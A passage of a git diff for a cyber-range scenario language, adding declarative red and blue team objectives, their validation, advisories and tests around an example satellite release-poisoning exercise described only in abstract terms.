+ tags: [validation, edge] + description: Edge validation checklist after rollback + +accounts: + release-engineer: + username: releasemgr + node: git-forge + groups: [ReleaseEngineering] + password_strength: strong + ci-bot: + username: ci-bot + node: ci-runner + groups: [CI] + password_strength: medium + auth_method: certificate + registry-bot: + username: registry-bot + node: artifact-registry + groups: [Registry] + password_strength: medium + satops: + username: satops + node: control-api + groups: [SRE] + password_strength: strong + support-vendor: + username: support + node: support-bastion + groups: [VendorOps] + password_strength: medium + tenant-admin: + username: tenant.admin + node: customer-portal + groups: [Customers] + password_strength: strong + soc-analyst: + username: socanalyst + node: siem01 + groups: [SOC] + password_strength: strong + +relationships: + forge-auths-ci: + type: authenticates_with + source: git-service + target: ci-orchestrator + ci-publishes-registry: + type: authenticates_with + source: ci-orchestrator + target: release-registry + registry-relies-signing: + type: depends_on + source: release-registry + target: signing-service + control-manages-east: + type: manages + source: satcom-control + target: edge-agent-east + control-manages-west: + type: manages + source: satcom-control + target: edge-agent-west + portal-federates-vendor: + type: federates_with + source: customer-portal-app + target: vendor-sso + properties: {protocol: "OIDC"} + portal-federates-customer: + type: federates_with + source: customer-portal-app + target: customer-sso + properties: {protocol: "OIDC"} + telemetry-replicates-analytics: + type: replicates_to + source: telemetry-bus + target: analytics-store + bastion-connects-control: + type: connects_to + source: support-bastion + target: control-api + properties: {protocol: "ssh", port: "22"} + +agents: + red-build-agent: + entity: red-supply-chain + actions: [Exploit, StealToken, PushArtifact, AbuseSupport] + initial_knowledge: + hosts: [git-forge, ci-runner, support-bastion] + subnets: [corp-eng, build-net, federation-net] + services: [forge-https, ci-api, bastion-ssh] + accounts: [support-vendor] + allowed_subnets: [corp-eng, build-net, federation-net, control-net] + reward_calculator: SupplyChainImpact + blue-release-agent: + entity: platform-blue.release-engineering + actions: [Review, Promote, Revoke, Rollback] + starting_accounts: [release-engineer, registry-bot] + initial_knowledge: + hosts: [git-forge, artifact-registry, signing-hsm] + subnets: [corp-eng, build-net] + services: [forge-https, registry-api, signing-api] + accounts: [ci-bot, registry-bot] + allowed_subnets: [corp-eng, build-net, control-net] + reward_calculator: TrustedRelease + blue-sre-agent: + entity: platform-blue.sre + actions: [Inspect, Isolate, Restore, Validate] + starting_accounts: [satops] + initial_knowledge: + hosts: [control-api, edge-gateway-east, edge-gateway-west, telemetry-broker] + subnets: [control-net, edge-net, telemetry-net] + services: [control-api, edge-east-api, edge-west-api, telemetry-kafka] + accounts: [satops] + allowed_subnets: [control-net, edge-net, telemetry-net, security-net] + reward_calculator: TelemetryAvailability + +objectives: + red-compromise-build: + agent: red-build-agent + actions: [Exploit, StealToken] + targets: [ci-runner, support-bastion, forge-auths-ci] + success: + conditions: [rogue-release-promoted] + window: + stories: [release-day] + scripts: [release-prep] + red-poison-release: + agent: red-build-agent + actions: [PushArtifact] + targets: [release-manifest, artifact-registry, ci-publishes-registry] + success: + metrics: [red-release-poisoning] + depends_on: [red-compromise-build] + window: + stories: [release-day] + scripts: [canary-rollout] + events: [canary-cutover-event] + red-reach-edge: + entity: red-supply-chain + targets: [edge-gateway-east, control-manages-east] + success: + goals: [supply-chain-red-goal] + depends_on: [red-poison-release] + window: + stories: [release-day] + scripts: [incident-rollback] + events: [rollback-order-event] + blue-validate-release: + agent: blue-release-agent + actions: [Review, Revoke] + targets: [artifact-registry, signing-hsm, registry-relies-signing] + success: + conditions: [release-signature-valid] + metrics: [blue-release-signing] + window: + stories: [release-day] + scripts: [release-prep, canary-rollout] + blue-preserve-service: + agent: blue-sre-agent + actions: [Inspect, Isolate, Restore, Validate] + targets: [control-api, edge-gateway-east, telemetry-broker, telemetry-replicates-analytics] + success: + goals: [platform-blue-goal] + metrics: [blue-telemetry-availability, blue-tenant-isolation] + depends_on: [blue-validate-release, red-reach-edge] + window: + stories: [release-day] + scripts: [incident-rollback] diff --git a/src/aptl/core/scenarios.py b/src/aptl/core/scenarios.py index acfc9831b..a00ca048c 100644 --- a/src/aptl/core/scenarios.py +++ b/src/aptl/core/scenarios.py @@ -81,6 +81,9 @@ def load_scenario(path: Path) -> Scenario: except SDLValidationError as e: raise ScenarioValidationError(str(e), path=path) from e + for advisory in scenario.advisories: + log.warning("Scenario '%s' advisory: %s", scenario.name, advisory) + log.info("Loaded scenario '%s' from %s", scenario.name, path) return scenario diff --git a/src/aptl/core/sdl/__init__.py b/src/aptl/core/sdl/__init__.py index 5f9b47380..c590d49b1 100644 --- a/src/aptl/core/sdl/__init__.py +++ b/src/aptl/core/sdl/__init__.py @@ -2,12 +2,12 @@ A backend-agnostic scenario specification language ported from the Open Cyber Range SDL and extended with sections for content, accounts, -relationships, agents, and variables. +relationships, agents, objectives, and variables. Public API: parse_sdl(content) -> Scenario parse_sdl_file(path) -> Scenario - Scenario — top-level model (19 sections) + Scenario — top-level model (20 sections) SDLParseError — YAML/structural errors SDLValidationError — semantic validation errors """ diff --git a/src/aptl/core/sdl/nodes.py b/src/aptl/core/sdl/nodes.py index 96977c4d0..eff0bd64a 100644 --- a/src/aptl/core/sdl/nodes.py +++ b/src/aptl/core/sdl/nodes.py @@ -240,3 +240,25 @@ def validate_type_constraints(self) -> "Node": + ", ".join(disallowed_fields) ) return self + + @model_validator(mode="after") + def validate_unique_service_ports(self) -> "Node": + """Concrete VM service bindings must not reuse the same port/protocol.""" + if self.type != NodeType.VM: + return self + + seen: set[tuple[str, int]] = set() + for service in self.services: + if not isinstance(service.port, int): + continue + if is_variable_ref(service.protocol): + continue + + key = (service.protocol.lower(), service.port) + if key in seen: + raise ValueError( + "Duplicate service binding " + f"'{service.protocol}/{service.port}' on node" + ) + seen.add(key) + return self diff --git a/src/aptl/core/sdl/objectives.py b/src/aptl/core/sdl/objectives.py new file mode 100644 index 000000000..80fa2bbfb --- /dev/null +++ b/src/aptl/core/sdl/objectives.py @@ -0,0 +1,88 @@ +"""Declarative experiment objectives for the SDL. + +Objectives bind together: +- who acts (`agent` or `entity`) +- what they are trying to affect (`targets`, `actions`) +- when it matters (`window`) +- how success is interpreted (`success`) + +This is intentionally different from backend-specific runtime probes. +The SDL carries experiment semantics; concrete evaluation mechanics live +in runtime adapters. +""" + +from enum import Enum + +from pydantic import Field, field_validator, model_validator + +from aptl.core.sdl._base import SDLModel, normalize_enum_value + + +class SuccessMode(str, Enum): + """How referenced success criteria combine.""" + + ALL_OF = "all_of" + ANY_OF = "any_of" + + +class ObjectiveSuccess(SDLModel): + """Declarative success criteria for an objective.""" + + mode: SuccessMode = SuccessMode.ALL_OF + conditions: list[str] = Field(default_factory=list) + metrics: list[str] = Field(default_factory=list) + evaluations: list[str] = Field(default_factory=list) + tlos: list[str] = Field(default_factory=list) + goals: list[str] = Field(default_factory=list) + + @field_validator("mode", mode="before") + @classmethod + def normalize_mode(cls, v: str) -> str: + return normalize_enum_value(v) + + @model_validator(mode="after") + def validate_non_empty(self) -> "ObjectiveSuccess": + if any(( + self.conditions, + self.metrics, + self.evaluations, + self.tlos, + self.goals, + )): + return self + raise ValueError( + "Objective success must reference at least one condition, " + "metric, evaluation, TLO, or goal" + ) + + +class ObjectiveWindow(SDLModel): + """Optional orchestration window constraining when an objective applies.""" + + stories: list[str] = Field(default_factory=list) + scripts: list[str] = Field(default_factory=list) + events: list[str] = Field(default_factory=list) + + +class Objective(SDLModel): + """A declarative experiment objective.""" + + name: str = "" + description: str = "" + agent: str = "" + entity: str = "" + actions: list[str] = Field(default_factory=list) + targets: list[str] = Field(default_factory=list) + success: ObjectiveSuccess + window: ObjectiveWindow | None = None + depends_on: list[str] = Field(default_factory=list) + + @model_validator(mode="after") + def validate_actor_binding(self) -> "Objective": + has_agent = bool(self.agent) + has_entity = bool(self.entity) + if has_agent == has_entity: + raise ValueError( + "Objective must declare exactly one of 'agent' or 'entity'" + ) + return self diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py index 165e68e21..4df2365c9 100644 --- a/src/aptl/core/sdl/parser.py +++ b/src/aptl/core/sdl/parser.py @@ -24,7 +24,8 @@ "nodes", "infrastructure", "features", "conditions", "vulnerabilities", "metrics", "evaluations", "tlos", "goals", "entities", "injects", "events", "scripts", "stories", - "content", "accounts", "relationships", "agents", "variables", + "content", "accounts", "relationships", "agents", "objectives", + "variables", }) # Fields within struct models that are also HashMaps of user-defined keys. @@ -36,7 +37,6 @@ "facts", # Entity.facts (dict[str, str]) "entities", # Entity.entities (dict[str, Entity]) "events", # Script.events (dict[str, int]) - "platform_commands", # AttackStep.platform_commands (dict[str, PlatformCommand]) }) @@ -268,6 +268,9 @@ def parse_sdl( except SDLValidationError as e: e.path = path raise + scenario._set_advisories(validator.warnings) + else: + scenario._set_advisories([]) return scenario diff --git a/src/aptl/core/sdl/scenario.py b/src/aptl/core/sdl/scenario.py index 2cfc28d73..a56f47f4a 100644 --- a/src/aptl/core/sdl/scenario.py +++ b/src/aptl/core/sdl/scenario.py @@ -1,16 +1,16 @@ """Top-level Scenario model — the root of the SDL. -The Scenario combines 19 specification sections covering +The Scenario combines 20 specification sections covering who (entities, accounts, agents), what (nodes, features, vulnerabilities, content), when (scripts, stories, events), -and experiment-relevant how (scoring pipeline, conditions, -relationships, variables). +and declarative experiment semantics (objectives, scoring +pipeline, conditions, relationships, variables). Delivery-level concerns (Docker, Terraform, cloud APIs) are outside the SDL. """ -from pydantic import Field, model_validator +from pydantic import Field, PrivateAttr from aptl.core.sdl._base import SDLModel from aptl.core.sdl.accounts import Account @@ -21,6 +21,7 @@ from aptl.core.sdl.features import Feature from aptl.core.sdl.infrastructure import InfraNode from aptl.core.sdl.nodes import Node +from aptl.core.sdl.objectives import Objective from aptl.core.sdl.orchestration import Event, Inject, Script, Story from aptl.core.sdl.relationships import Relationship from aptl.core.sdl.scoring import Evaluation, Goal, Metric, TLO @@ -31,7 +32,7 @@ class Scenario(SDLModel): """Top-level scenario specification. - A YAML document with up to 19 named sections. Only ``name`` + A YAML document with up to 20 named sections. Only ``name`` is required. All sections are optional dicts keyed by user-defined identifiers. """ @@ -61,4 +62,15 @@ class Scenario(SDLModel): accounts: dict[str, Account] = Field(default_factory=dict) relationships: dict[str, Relationship] = Field(default_factory=dict) agents: dict[str, Agent] = Field(default_factory=dict) + objectives: dict[str, Objective] = Field(default_factory=dict) variables: dict[str, Variable] = Field(default_factory=dict) + + _advisories: list[str] = PrivateAttr(default_factory=list) + + @property + def advisories(self) -> list[str]: + """Non-fatal SDL advisories gathered during semantic validation.""" + return list(self._advisories) + + def _set_advisories(self, advisories: list[str]) -> None: + self._advisories = list(advisories) diff --git a/src/aptl/core/sdl/validator.py b/src/aptl/core/sdl/validator.py index 8a9fd5e15..4abd60774 100644 --- a/src/aptl/core/sdl/validator.py +++ b/src/aptl/core/sdl/validator.py @@ -53,10 +53,14 @@ class SemanticValidator: def __init__(self, scenario: Scenario) -> None: self._s = scenario self._errors: list[str] = [] + self._warnings: list[str] = [] def _err(self, msg: str) -> None: self._errors.append(msg) + def _warn(self, msg: str) -> None: + self._warnings.append(msg) + def _is_unresolved_var(self, value: object) -> bool: return is_variable_ref(value) @@ -70,9 +74,15 @@ def _is_switch_node(self, node_name: str) -> bool: def _is_vm_node(self, node_name: str) -> bool: return self._node_type(node_name) == NodeType.VM + def _all_entity_names(self) -> set[str]: + names = set(flatten_entities(self._s.entities).keys()) + names.update(self._s.entities.keys()) + return names + def validate(self) -> None: """Run all validation passes and raise on errors.""" self._errors = [] + self._warnings = [] # OCR passes self._verify_nodes() @@ -96,11 +106,32 @@ def validate(self) -> None: self._verify_accounts() self._verify_relationships() self._verify_agents() + self._verify_objectives() self._verify_variables() + self._collect_advisories() if self._errors: raise SDLValidationError(self._errors) + @property + def warnings(self) -> list[str]: + """Return non-fatal advisories collected during validation.""" + return list(self._warnings) + + def _collect_advisories(self) -> None: + self._warn_missing_vm_resources() + + def _warn_missing_vm_resources(self) -> None: + for name, node in self._s.nodes.items(): + if node.type != NodeType.VM: + continue + if node.resources is None: + self._warn( + f"Node '{name}' is a VM without 'resources'. This is " + "valid SDL, but may be undeployable unless the backend " + "supplies defaults." + ) + # ------------------------------------------------------------------ # OCR validation passes # ------------------------------------------------------------------ @@ -343,8 +374,7 @@ def _verify_relationships(self) -> None: ) def _verify_agents(self) -> None: - flat_entity_names = set(flatten_entities(self._s.entities).keys()) - flat_entity_names.update(self._s.entities.keys()) + flat_entity_names = self._all_entity_names() service_names = { service.name for node in self._s.nodes.values() @@ -426,6 +456,148 @@ def _verify_agents(self) -> None: f"'{acct_name}' not in accounts section" ) + def _verify_objectives(self) -> None: + actor_entities = self._all_entity_names() + targetable_names = self._all_targetable_elements() + + for name, objective in self._s.objectives.items(): + if ( + objective.agent + and not self._is_unresolved_var(objective.agent) + and objective.agent not in self._s.agents + ): + self._err( + f"Objective '{name}' references undefined agent " + f"'{objective.agent}'" + ) + + if ( + objective.entity + and not self._is_unresolved_var(objective.entity) + and objective.entity not in actor_entities + ): + self._err( + f"Objective '{name}' references undefined entity " + f"'{objective.entity}'" + ) + + if ( + objective.agent + and not self._is_unresolved_var(objective.agent) + and objective.agent in self._s.agents + ): + allowed_actions = set(self._s.agents[objective.agent].actions) + for action in objective.actions: + if self._is_unresolved_var(action): + continue + if action not in allowed_actions: + self._err( + f"Objective '{name}' action '{action}' is not " + f"declared by agent '{objective.agent}'" + ) + + for target in objective.targets: + if self._is_unresolved_var(target): + continue + if target not in targetable_names: + self._err( + f"Objective '{name}' target '{target}' does not " + "reference any defined targetable element" + ) + + success_sections = ( + ("condition", objective.success.conditions, self._s.conditions), + ("metric", objective.success.metrics, self._s.metrics), + ("evaluation", objective.success.evaluations, self._s.evaluations), + ("TLO", objective.success.tlos, self._s.tlos), + ("goal", objective.success.goals, self._s.goals), + ) + for label, refs, section in success_sections: + for ref in refs: + if self._is_unresolved_var(ref): + continue + if ref not in section: + self._err( + f"Objective '{name}' references undefined {label} " + f"'{ref}' in success criteria" + ) + + if objective.window: + referenced_story_scripts: set[str] = set() + referenced_scripts: set[str] = set() + + for story_name in objective.window.stories: + if self._is_unresolved_var(story_name): + continue + story = self._s.stories.get(story_name) + if story is None: + self._err( + f"Objective '{name}' references undefined story " + f"'{story_name}' in window" + ) + continue + referenced_story_scripts.update(story.scripts) + + for script_name in objective.window.scripts: + if self._is_unresolved_var(script_name): + continue + script = self._s.scripts.get(script_name) + if script is None: + self._err( + f"Objective '{name}' references undefined script " + f"'{script_name}' in window" + ) + continue + referenced_scripts.add(script_name) + if ( + referenced_story_scripts + and script_name not in referenced_story_scripts + ): + self._err( + f"Objective '{name}' window script '{script_name}' " + "is not included by the referenced stories" + ) + + candidate_scripts = referenced_scripts or referenced_story_scripts + candidate_events: set[str] = set() + for script_name in candidate_scripts: + script = self._s.scripts.get(script_name) + if script is not None: + candidate_events.update(script.events.keys()) + + for event_name in objective.window.events: + if self._is_unresolved_var(event_name): + continue + if event_name not in self._s.events: + self._err( + f"Objective '{name}' references undefined event " + f"'{event_name}' in window" + ) + continue + if candidate_events and event_name not in candidate_events: + self._err( + f"Objective '{name}' window event '{event_name}' " + "is not included by the referenced scripts" + ) + + for dep_name in objective.depends_on: + if self._is_unresolved_var(dep_name): + continue + if dep_name not in self._s.objectives: + self._err( + f"Objective '{name}' depends on undefined objective " + f"'{dep_name}'" + ) + + dep_graph: dict[str, list[str]] = {} + for name, objective in self._s.objectives.items(): + dep_graph[name] = [ + dep for dep in objective.depends_on + if not self._is_unresolved_var(dep) and dep in self._s.objectives + ] + if dep_graph and _topological_sort(dep_graph) is None: + self._err("Objective dependency graph contains a cycle") + def _verify_variables(self) -> None: defined = set(self._s.variables.keys()) @@ -486,10 +658,18 @@ def _all_named_elements(self) -> set[str]: names.add(item.name) names.update(self._s.accounts.keys()) names.update(self._s.agents.keys()) + names.update(self._s.objectives.keys()) names.update(self._s.relationships.keys()) names.update(self._s.variables.keys()) return names + def _all_targetable_elements(self) -> set[str]: + """Collect named elements that can serve as objective targets.""" + names = self._all_named_elements() + names.difference_update(self._s.variables.keys()) + names.difference_update(self._s.objectives.keys()) + return names + def _verify_features(self) -> None: # Check vulnerability references for name, feat in self._s.features.items(): @@ -630,9 +810,7 @@ def check_entity(name: str, entity: "Entity") -> None: check_entity(name, entity) def _verify_injects(self) -> None: - flat_names = set(flatten_entities(self._s.entities).keys()) - # Also include top-level entity keys - flat_names.update(self._s.entities.keys()) + flat_names = self._all_entity_names() for name, inject in self._s.injects.items(): if ( @@ -701,8 +879,7 @@ def _verify_stories(self) -> None: ) def _verify_roles(self) -> None: - flat_names = set(flatten_entities(self._s.entities).keys()) - flat_names.update(self._s.entities.keys()) + flat_names = self._all_entity_names() for node_name, node in self._s.nodes.items(): for role_name, role in node.roles.items(): diff --git a/tests/test_scenarios.py b/tests/test_scenarios.py index 324ef3993..7d384695e 100644 --- a/tests/test_scenarios.py +++ b/tests/test_scenarios.py @@ -1,5 +1,7 @@ """Tests for the SDL scenario loading boundary.""" +from pathlib import Path + import pytest @@ -8,6 +10,14 @@ description: Minimal SDL scenario """ +EXAMPLES_DIR = Path(__file__).resolve().parents[1] / "examples" +EXAMPLE_SCENARIOS = sorted(EXAMPLES_DIR.glob("*.sdl.yaml")) +COMPLEX_EXAMPLES = [ + EXAMPLES_DIR / "hospital-ransomware-surgery-day.sdl.yaml", + EXAMPLES_DIR / "satcom-release-poisoning.sdl.yaml", + EXAMPLES_DIR / "port-authority-surge-response.sdl.yaml", +] + class TestLoadScenario: """Tests for loading SDL scenarios from YAML files.""" @@ -102,6 +112,32 @@ def test_returns_empty_for_missing_directory(self, tmp_path): assert find_scenarios(tmp_path / "missing") == [] +@pytest.mark.parametrize("path", EXAMPLE_SCENARIOS, ids=lambda path: path.name) +def test_example_scenarios_load(path): + """Every example SDL should load successfully from disk.""" + from aptl.core.scenarios import load_scenario + + scenario = load_scenario(path) + + assert scenario.name + assert scenario.advisories == [] + + +@pytest.mark.parametrize("path", COMPLEX_EXAMPLES, ids=lambda path: path.name) +def test_complex_examples_have_experiment_semantics(path): + """Curated complex examples should exercise the full experiment surface.""" + from aptl.core.scenarios import load_scenario + + scenario = load_scenario(path) + + assert scenario.objectives + assert scenario.agents + assert scenario.relationships + assert scenario.content + assert scenario.stories + assert scenario.metrics + + class TestScenarioExceptions: """Tests for shared scenario exception types.""" diff --git a/tests/test_sdl_models.py b/tests/test_sdl_models.py index b745e7ea2..110e8deba 100644 --- a/tests/test_sdl_models.py +++ b/tests/test_sdl_models.py @@ -10,6 +10,7 @@ from aptl.core.sdl.infrastructure import InfraNode, SimpleProperties from aptl.core.sdl.nodes import Node, NodeType, Resources, Role, parse_ram from aptl.core.sdl.nodes import Node +from aptl.core.sdl.objectives import Objective, ObjectiveSuccess, ObjectiveWindow from aptl.core.sdl.orchestration import Event, Inject, Script, Story, parse_duration from aptl.core.sdl.scoring import Evaluation, Goal, Metric, MetricType, MinScore, TLO from aptl.core.sdl.vulnerabilities import Vulnerability @@ -475,6 +476,51 @@ def test_speed_below_1_rejected(self): # --------------------------------------------------------------------------- +class TestObjectiveSuccess: + def test_requires_at_least_one_reference(self): + with pytest.raises(ValidationError, match="at least one condition"): + ObjectiveSuccess() + + def test_accepts_goal_reference(self): + success = ObjectiveSuccess(goals=["pass-exercise"]) + assert success.goals == ["pass-exercise"] + + +class TestObjective: + def test_requires_exactly_one_actor_binding(self): + with pytest.raises(ValidationError, match="exactly one"): + Objective( + success={"goals": ["g1"]}, + ) + + with pytest.raises(ValidationError, match="exactly one"): + Objective( + agent="red-agent", + entity="red-team", + success={"goals": ["g1"]}, + ) + + def test_valid_agent_objective(self): + objective = Objective( + agent="red-agent", + actions=["Scan"], + targets=["web-server"], + success={"goals": ["initial-access"]}, + window={"scripts": ["main-timeline"], "events": ["attack-wave"]}, + depends_on=["recon"], + ) + assert objective.agent == "red-agent" + assert objective.success.goals == ["initial-access"] + assert isinstance(objective.window, ObjectiveWindow) + + def test_valid_entity_objective(self): + objective = Objective( + entity="blue-team", + success={"metrics": ["report-quality"]}, + ) + assert objective.entity == "blue-team" + + # --------------------------------------------------------------------------- # Extension models (G1-G9, G12-G13) # --------------------------------------------------------------------------- @@ -631,6 +677,28 @@ def test_on_node(self): ) assert len(n.services) == 2 + def test_duplicate_port_protocol_rejected(self): + with pytest.raises(ValidationError, match="Duplicate service binding"): + Node( + type="vm", + resources={"ram": "1 gib", "cpu": 1}, + services=[ + {"port": 443, "protocol": "tcp", "name": "https"}, + {"port": 443, "protocol": "tcp", "name": "alt-https"}, + ], + ) + + def test_same_port_with_different_protocols_allowed(self): + n = Node( + type="vm", + resources={"ram": "1 gib", "cpu": 1}, + services=[ + {"port": 53, "protocol": "tcp", "name": "dns-tcp"}, + {"port": 53, "protocol": "udp", "name": "dns-udp"}, + ], + ) + assert len(n.services) == 2 + def test_placeholder(self): sp = ServicePort(port="${service_port}", name="https") assert sp.port == "${service_port}" diff --git a/tests/test_sdl_parser.py b/tests/test_sdl_parser.py index d874478c4..948978a67 100644 --- a/tests/test_sdl_parser.py +++ b/tests/test_sdl_parser.py @@ -96,6 +96,17 @@ def test_integer_keys_preserved(self): """, "infrastructure.vm.properties[0].${link_name}", ), + ( + """ +name: test +objectives: + ${objective_name}: + agent: red-agent + success: + goals: [pass-exercise] +""", + "objectives.${objective_name}", + ), ], ) def test_variable_placeholders_rejected_in_mapping_keys(self, sdl, key_path): @@ -109,6 +120,53 @@ def test_variable_placeholders_rejected_in_mapping_keys(self, sdl, key_path): class TestShorthandExpansion: + def test_objectives_section_parses(self): + sdl = """ +name: test +entities: + red-team: + role: Red +agents: + red-agent: + entity: red-team + actions: [Scan, Exploit] +goals: + pass-exercise: + tlos: [web-defense] +tlos: + web-defense: + evaluation: overall +evaluations: + overall: + metrics: [service-uptime] + min-score: 75 +metrics: + service-uptime: + type: manual + max-score: 100 +objectives: + initial-access: + agent: red-agent + actions: [Scan] + targets: [red-agent] + success: + goals: [pass-exercise] +""" + s = parse_sdl(sdl, skip_semantic_validation=True) + assert s.objectives["initial-access"].agent == "red-agent" + assert s.objectives["initial-access"].success.goals == ["pass-exercise"] + assert s.advisories == [] + + def test_vm_without_resources_generates_advisory(self): + sdl = """ +name: test +nodes: + vm: + type: VM +""" + s = parse_sdl(sdl) + assert any("without 'resources'" in advisory for advisory in s.advisories) + def test_source_shorthand(self): sdl = """ name: test diff --git a/tests/test_sdl_realworld.py b/tests/test_sdl_realworld.py index 5743bf01d..d3672e6af 100644 --- a/tests/test_sdl_realworld.py +++ b/tests/test_sdl_realworld.py @@ -805,6 +805,80 @@ def _parse(yaml_str: str, label: str): name: "Crimsonia APT" role: Red mission: "Disrupt Berylia critical infrastructure" + +conditions: + scada-hmi-responsive: + command: /usr/bin/check-hmi-availability + interval: 60 + +metrics: + maintain-scada-availability: + type: CONDITIONAL + max-score: 100 + condition: scada-hmi-responsive + execute-disruption: + type: MANUAL + max-score: 100 + artifact: true + +evaluations: + blue-resilience: + metrics: [maintain-scada-availability] + min-score: 75 + red-impact: + metrics: [execute-disruption] + min-score: {absolute: 100} + +tlos: + sustain-critical-operations: + evaluation: blue-resilience + achieve-scada-disruption: + evaluation: red-impact + +goals: + berylia-goal: + tlos: [sustain-critical-operations] + crimsonia-goal: + tlos: [achieve-scada-disruption] + +events: + disruption-wave: {} + recovery-phase: {} + +scripts: + locked-shields-day-1: + start-time: 0 + end-time: 8 hour + speed: 1 + events: + disruption-wave: 2 hour + recovery-phase: 4 hour + +stories: + main-exercise: + scripts: [locked-shields-day-1] + +objectives: + crimsonia-disrupt-scada: + entity: crimsonia-red + targets: [hmi-controls-power, hmi-controls-water, hmi-server] + success: + goals: [crimsonia-goal] + window: + stories: [main-exercise] + scripts: [locked-shields-day-1] + events: [disruption-wave] + + berylia-maintain-operations: + entity: berylia-blue.ot-team + targets: [hmi-server, plc-power, plc-water] + success: + goals: [berylia-goal] + window: + stories: [main-exercise] + scripts: [locked-shields-day-1] + events: [recovery-phase] + depends_on: [crimsonia-disrupt-scada] """ @@ -857,3 +931,14 @@ def test_scenario_stats(label, yaml_str): rels = len(scenario.relationships) # Just verify these are non-trivial scenarios assert nodes >= 1 + + +def test_objectives_are_exercised_in_realworld_suite(): + """At least one real-world fixture should carry declarative objectives.""" + labels_with_objectives: list[str] = [] + for label, yaml_str in SCENARIOS: + scenario = parse_sdl(textwrap.dedent(yaml_str)) + if scenario.objectives: + labels_with_objectives.append(label) + + assert labels_with_objectives diff --git a/tests/test_sdl_stress.py b/tests/test_sdl_stress.py index 19849945c..51a950013 100644 --- a/tests/test_sdl_stress.py +++ b/tests/test_sdl_stress.py @@ -1282,6 +1282,41 @@ def _parse(yaml_str: str, label: str): vulnerabilities: eternalblue: {name: EternalBlue, description: MS17-010, technical: true, class: CWE-119} +conditions: + enterprise0-compromised: + command: /usr/bin/check-enterprise0-compromise + interval: 60 + +metrics: + red-access-achieved: + type: CONDITIONAL + max-score: 50 + condition: enterprise0-compromised + blue-detection-report: + type: MANUAL + max-score: 50 + artifact: true + +evaluations: + red-campaign: + metrics: [red-access-achieved] + min-score: {absolute: 50} + blue-response: + metrics: [blue-detection-report] + min-score: 50 + +tlos: + establish-enterprise-foothold: + evaluation: red-campaign + detect-enterprise-compromise: + evaluation: blue-response + +goals: + red-campaign-goal: + tlos: [establish-enterprise-foothold] + blue-response-goal: + tlos: [detect-enterprise-compromise] + accounts: phished-user: username: jdoe @@ -1340,6 +1375,47 @@ def _parse(yaml_str: str, label: str): source: velociraptor target: enterprise0 description: "Velociraptor monitors enterprise hosts" + +events: + phishing-wave: {} + triage-window: {} + +scripts: + day-1: + start-time: 0 + end-time: 2 hour + speed: 1 + events: + phishing-wave: 5 min + triage-window: 45 min + +stories: + exercise: + scripts: [day-1] + +objectives: + red-establish-foothold: + agent: red-agent + actions: [DiscoverRemoteSystems, ExploitRemoteService, EternalBlue] + targets: [enterprise0] + success: + goals: [red-campaign-goal] + window: + stories: [exercise] + scripts: [day-1] + events: [phishing-wave] + + blue-detect-and-report: + agent: blue-agent + actions: [Monitor, Analyse] + targets: [enterprise0, velociraptor] + success: + goals: [blue-response-goal] + window: + stories: [exercise] + scripts: [day-1] + events: [triage-window] + depends_on: [red-establish-foothold] """ @@ -1484,6 +1560,56 @@ def _parse(yaml_str: str, label: str): entities: red-team: {name: Red Team, role: Red} blue-team: {name: Blue Team, role: Blue} + +conditions: + federation-service-up: + command: /usr/bin/check-adfs-federation + interval: 60 + +metrics: + maintain-federation: + type: CONDITIONAL + max-score: 100 + condition: federation-service-up + +evaluations: + federation-health: + metrics: [maintain-federation] + min-score: 75 + +tlos: + sustain-federated-auth: + evaluation: federation-health + +goals: + blue-identity-goal: + tlos: [sustain-federated-auth] + +events: + federation-cutover: {} + +scripts: + identity-day: + start-time: 0 + end-time: 4 hour + speed: 1 + events: + federation-cutover: 30 min + +stories: + federation-exercise: + scripts: [identity-day] + +objectives: + preserve-federated-auth: + entity: blue-team + targets: [adfs-service, child-trusts-parent] + success: + goals: [blue-identity-goal] + window: + stories: [federation-exercise] + scripts: [identity-day] + events: [federation-cutover] """ @@ -1545,3 +1671,14 @@ def test_scenario_topology_integrity(label, yaml_str): for vuln_name in node.vulnerabilities: assert vuln_name in scenario.vulnerabilities, \ f"{label}: node '{node_name}' refs missing vuln '{vuln_name}'" + + +def test_objectives_are_exercised_in_stress_suite(): + """Stress fixtures should include realistic objective-bearing scenarios.""" + labels_with_objectives: list[str] = [] + for label, yaml_str in SCENARIOS: + scenario = parse_sdl(textwrap.dedent(yaml_str)) + if scenario.objectives: + labels_with_objectives.append(label) + + assert len(labels_with_objectives) >= 2 diff --git a/tests/test_sdl_validator.py b/tests/test_sdl_validator.py index 6e4f8da7e..a6b58848e 100644 --- a/tests/test_sdl_validator.py +++ b/tests/test_sdl_validator.py @@ -674,6 +674,187 @@ def test_valid_agent(self): assert not errors +class TestVerifyObjectives: + def _base_kwargs(self) -> dict: + return { + "nodes": { + "net": {"type": "switch"}, + "web": {"type": "vm", "resources": {"ram": "1 gib", "cpu": 1}}, + }, + "infrastructure": { + "net": { + "count": 1, + "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}, + }, + "web": {"count": 1, "links": ["net"]}, + }, + "entities": { + "red": {"role": "red"}, + "blue": {"role": "blue"}, + }, + "agents": { + "red-agent": { + "entity": "red", + "actions": ["Scan", "Exploit"], + }, + }, + "metrics": { + "report-quality": { + "type": "manual", + "max_score": 100, + }, + }, + "evaluations": { + "overall": { + "metrics": ["report-quality"], + "min_score": {"percentage": 50}, + }, + }, + "tlos": {"web-defense": {"evaluation": "overall"}}, + "goals": {"pass-exercise": {"tlos": ["web-defense"]}}, + "events": {"attack-wave": {}}, + "scripts": { + "main-timeline": { + "start_time": 0, + "end_time": 3600, + "speed": 1.0, + "events": {"attack-wave": 600}, + }, + }, + "stories": {"exercise": {"scripts": ["main-timeline"]}}, + } + + def test_undefined_agent(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "obj-1": { + "agent": "ghost-agent", + "success": {"goals": ["pass-exercise"]}, + }, + }, + ) + errors = _validate(s) + assert any("undefined agent" in e for e in errors) + + def test_undefined_entity(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "obj-1": { + "entity": "ghost-team", + "success": {"goals": ["pass-exercise"]}, + }, + }, + ) + errors = _validate(s) + assert any("undefined entity" in e for e in errors) + + def test_actions_must_be_declared_by_agent(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "obj-1": { + "agent": "red-agent", + "actions": ["Persist"], + "success": {"goals": ["pass-exercise"]}, + }, + }, + ) + errors = _validate(s) + assert any("is not declared by agent" in e for e in errors) + + def test_target_must_resolve(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "obj-1": { + "agent": "red-agent", 